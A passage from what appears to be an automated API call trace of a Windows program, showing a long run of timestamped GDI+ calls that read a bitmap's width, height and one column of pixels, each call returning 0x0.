height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=77, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.903] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=78, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.903] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=79, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.903] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=80, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.903] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=81, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.903] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=82, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.903] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=83, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.903] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.903] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=84, color=0x540e3d0) returned 0x0 [0226.903] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=85, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=86, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=87, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=88, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=89, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=90, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=91, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=92, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.904] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=93, color=0x540e3d0) returned 0x0 [0226.904] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.904] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=94, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=95, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=96, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=97, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=98, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=99, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=100, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=101, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=102, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=103, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.905] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.905] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=104, color=0x540e3d0) returned 0x0 [0226.905] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=105, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=106, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=107, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=108, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=109, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=110, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=111, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=112, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=113, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=114, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=115, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.906] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.906] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=116, color=0x540e3d0) returned 0x0 [0226.906] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=117, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=118, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=119, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=120, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=121, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=122, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=123, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=124, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=125, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=126, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=127, color=0x540e3d0) returned 0x0 [0226.907] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.907] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.907] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=128, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=129, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=130, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=131, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=132, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=133, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=134, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=135, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=136, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=137, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=138, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=139, color=0x540e3d0) returned 0x0 [0226.908] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.908] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.908] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=140, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=141, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=142, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=143, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=144, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=145, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=146, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=147, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=148, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=149, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=150, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.909] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=151, color=0x540e3d0) returned 0x0 [0226.909] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.909] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=152, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=153, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=154, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=155, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=156, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=157, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=158, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=159, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=160, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=161, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=162, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.910] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=163, color=0x540e3d0) returned 0x0 [0226.910] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.910] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=164, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=165, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=166, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=167, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=168, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=169, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=170, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=171, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=172, color=0x540e3d0) returned 0x0 [0226.911] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.911] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.911] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=173, color=0x540e3d0) returned 0x0 [0226.912] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.912] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.912] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=174, color=0x540e3d0) returned 0x0 [0226.912] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.912] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.912] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=175, color=0x540e3d0) returned 0x0 [0226.912] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.912] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.912] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=176, color=0x540e3d0) returned 0x0 [0226.912] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.912] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.912] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=177, color=0x540e3d0) returned 0x0 [0226.912] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.912] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.912] GdipBitmapGetPixel (bitmap=0x4ae4c90, 